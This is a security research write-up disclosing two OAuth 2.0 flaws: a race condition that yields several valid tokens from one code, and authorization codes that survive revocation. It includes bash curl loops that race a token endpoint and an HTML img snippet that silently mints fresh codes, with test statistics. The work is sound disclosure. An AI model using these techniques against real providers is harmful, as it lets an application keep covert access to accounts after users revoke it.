A couple more common OAuth 2.0 vulnerabilities
TL;DR The couple of bugs described below are common across different OAuth 2.0 implementations. The bugs may allow a malicious application to maintain an access to victim's account even after access revocation performed by the victim.
1. Race Condition for access_token / refresh_token generation
According to any OAuth 2.0 API documentation and to OAuth 2.0 RFC, when an application (client in terms of OAuth) obtains code value from OAuth 2.0 Provider (i.e. the moment when user authorizes an application), this value should be exchanged for access_token. It seems to be obvious that one code value should be exchanged for one access_token (or for a single pair of access_token and refresh_token, if resresh tokens are supported). Also RFC contains quite explicit requirements about that:
1) https://tools.ietf.org/html/rfc6749#section-4.1.2:
If an authorization code is used more than
once, the authorization server MUST deny the request and SHOULD
revoke (when possible) all tokens previously issued based on
that authorization code. The authorization code is bound to
the client identifier and redirection URI.
2) https://tools.ietf.org/html/rfc6749#section-10.5:
Authorization codes MUST be short lived and single-use. If the
authorization server observes multiple attempts to exchange an
authorization code for an access token, the authorization server
SHOULD attempt to revoke all access tokens already granted based on
the compromised authorization code.
However, most of OAuth 2.0 providers we've tested either didn't have that mechanism or had a race condition bug in it. Due to that, many of the provides had authorization issues.
Proof Of Concept
0) register an application with OAuth 2.0 provider you're going to test
1) open link to authorize the application
2) log into user (i.e. victim) account and Authorize the application
3) obtain code value from callback URL
4) try to exploit Race Condition for obtaining access_token:
#!/bin/bash for i in {0..20} do curl --data "code=$1&client_id=CLIENT_ID&client_secret=CLIENT_SECRET&redirect_uri=CALLBACK_URL&grant_type=authorization_code" "https://OAUTH_PROVIDER/oauth/token" & done # where $1 is code value (first parameter passed to the script)
5) please note that you may have to do several attempts to explot the race condition
6) if several access_token values obtained, check whether each of them is valid
7) go to application settings for victim's account and revoke access for the application
8) check whether all access_token values became invalid; if only one access_token has been revoked and all the rest stay active -- this is the worst case
PoC for refresh_token is similar to the one just described, but on step 4 you may legally obtain access_token and refresh_token pair. Then you need to exploit Race Condition for reshresh_token request the same way:
#!/bin/bash for i in {0..20} do curl --data "refhresh_token=$1&client_id=CLIENT_ID&client_secret=CLIENT_SECRET&redirect_uri=CALLBACK_URL&grant_type=refresh_token" "https://OAUTH_PROVIDER/oauth/token" & done # where $1 is refresh_token value (first parameter passed to the script)
Explotation of Race Condition for refresh_token is more dangerous than for access_token, as usually there is no way for an attacker to fail. Each exploitation gives at least one new refresh_token value that may be used later. So, number of token pairs grows exponentially, if provider is vulnerable.
Statistics
- 32 OAuth 2.0 providers tested
- 26 out of 32 had race condition bug:
- 5 providers returned the same access_token value for successful competing requests -> good behavior
- 1 provider generated different access_token values, but only one token is valid -> not bad behavior
- 20 providers generated different access_token values and all of them were valid -> bad behavior, as it violates the RFC + unexpected flaws caused by multiple tokens/contexts generation are possible
- 10 out of 20 providers had issues with revocation of access (step 8 from the PoC succeeded for them) -> the worst case: a victim sees that access is revoked, but malicious application still has access to victim's account
2. Missing invalidation of authorization code during access revocation
Another issue which is common for multiple OAuth 2.0 implementations. It is not race condition bug. It is a logical error caused by misunderstanding of some "states" in OAuth 2.0 flow.
OAuth 2.0 API makes it possible for users to grant access to their accounts to some third-side applications. Of course, users are able to manage such applications' access to their accounts and may deny access for any application. When user denies access for the application, all access_token values (and refresh_token as well) are being revoked and become invalid. But not only access_token should be revoked, authorization code (it is an intermediate token used in OAuth2 Authorization Flow) must be revoked as well. Sadly, most of OAuth2 API implementations do not revoke authorization code during access revocation. It may be exploited in order to restore access to user's account by malicious application right after access revocation.
Proof Of Concept
0) register an application for OAuth 2.0 provider you're going to test
1) open link for authorization of the application
2) log into user (i.e. victim) account and Authorize the application
3) obtain code value from callback URL
4) obtain access_token, check its validity if you wish
5) open link for authorization again (i.e. repeat step 1)
6) most of providers support automatic redirect to callback URL on this stage (also there may be additional parameters for that in URL: like force_approval or approval_prompt or some checkbox in applications settings), this makes exploitation easier; otherwise, Authorize the application manually
7) copy code value from callback URL and save it for furture usage
8) go to application settings page for victim's account and revoke access for the application
9) ensure that access_token obtained on step 4 is invalidated
10) exchange code value from step 7 for new access_token, check whether new access_token is valid
If new access_token is valid, that means malicious application still has access to user's account even after revocation of authorization by the user.
For real attack scenario it is important to mention the following:
a) it seems that step 5 requires interaction from user, actually it is not necessary
b) authorization code obtained via callback has certain lifetime, but it is not an issue as well
Malicious application that does not want to lose access to the user's account needs to place on its web site something like:
<html> <img src="https://OAUTH_PROVIDER/authorize?client_id=CLIENT_ID&client_secret=CLIENT_SECRET&redirect_uri=CALLBACK_URL&scope=SOME_SCOPE&response_type=code"> </html>
Such code will "silently" produce new authorization code each time it has been loaded by the user. Check the traffic or contents of access.log on the callback server while opening a page with the html-snippet listed above:
root@server:/var/log/nginx# tail -f access.log <...> <IP hidden> - - [16/Apr/2015:13:08:56 +0000] "GET /callback?state=0123456789abcdef&code=xlDxVYdnJlsAAAAAAAAFQDUmzla7P8Jg9fM2rNxwP8U HTTP/1.1" 200 14 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36"
As you see, the malicious application has just obtained new code value that would not be revoked when user clicks "Delete Authorization".
Statistics
- 29 OAuth 2.0 providers tested
- 18 out of 29 of them had the issue
3 OAuth providers tested for the first issue are not included in statistics for the second one (32 - 29 = 3), as they had even bigger issues with access revocation: it was either not implemented at all or was not accessible by user.
Summary
- read and understand RFCs and standards very attentively, many bugs are caused by bad implementation, not by bad requirements
- be extremely careful when you develop multi-threaded applications
- being a user, do not grant access to unknown apps :)